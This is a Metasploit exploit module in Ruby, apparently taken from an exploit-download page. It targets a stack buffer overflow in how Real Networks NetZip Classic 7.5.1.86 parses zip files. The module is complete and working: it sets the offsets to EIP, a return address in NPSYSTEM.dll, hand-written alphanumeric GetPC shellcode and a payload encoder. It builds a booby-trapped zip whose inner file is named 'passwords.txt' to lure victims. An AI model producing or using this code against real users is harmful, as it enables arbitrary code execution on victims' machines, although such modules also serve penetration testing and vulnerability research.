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Real Networks Netzip Classic 7.5.186 .zip file parsing stack buffer overflow vulnerability download
##
# $Id: real_networks_netzip_bof.rb 13974 2011-10-17 14:56:44Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
                        'Description'    => %q{
                                        This module exploits a stack-based buffer overflow vulnerability in
                                version 7.5.1 86 of Real Networks Netzip Classic.
                                In order for the command to be executed, an attacker must convince someone to
                                load a specially crafted zip file with NetZip Classic.
                                By doing so, an attacker can execute arbitrary code as the victim user.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
                                        'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                                ],
                        'Version'        => '$Revision: 13974 $',
                        'References'     =>
                                [
                                        [ 'BID', '46059' ],
                                        [ 'URL', 'http://proforma.real.com' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],
                                ],
                        'Platform'          => [ 'win' ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'thread',
                                },
                        'Payload' =>
                                {
                                        'Space'         => 1000,
                                        'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
                                        'DisableNops'   => true,
                                        'EncoderOptions' =>
                                                {
                                                        'BufferRegister' => 'ESI'
                                                }
                                },
                        'Targets'        =>
                                [
                                        [
                                                'Windows XP SP3',
                                                {
                                                        'Offset' => 247,        # To EIP
                                                        'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
                                                        'Max'    => 2000,       # Max buffer size
                                                }
                                        ],

                                        [
                                                'Windows 7/Windows Vista',
                                                {
                                                        'Offset' => 248,        # To EIP
                                                        'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
                                                        'Max'    => 2000,       # Max buffer size
                                                }
                                        ],
                                ],
                        'DisclosureDate' => 'Jan 30 2011',
                        'DefaultTarget'  => 0))

                        register_options(
                        [
                                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
                                OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
                        ], self.class)

        end

        def exploit

                buffer = "#{datastore['CONTENTNAME']}"
                buffer << ' ' * (target['Offset']-buffer.length)
                buffer << [target.ret].pack('V')
                buffer << make_nops(8)

                # GetPC - Non ascii characters get converted
                # alphanum getpc code from corelanc0d3r
                buffer << "\x89\x05"   #jmp short (5 bytes) to 'jmp back' at end
                buffer << "\x5e"       #pop esi
                buffer << "\x41"       #nop (inc ecx)
                buffer << "\x98\x99"   #call esi
                buffer << "\x41"       #nop (inc ecx)
                buffer << "\x8a\x94\x98\x98\x98"  #jmp back to pop esi
                buffer << payload.encoded
                buffer << rand_text_alpha(target['Max']-buffer.length)

                zip = Rex::Zip::Archive.new
                xtra = [0xdac0ffee].pack('V')
                comment = [0xbadc0ded].pack('V')
                zip.add_file(buffer, xtra, comment)

                # Create the file
                print_status("Creating '#{datastore['FILENAME']}' file...")

                file_create(zip.pack)
        end

end
example usage
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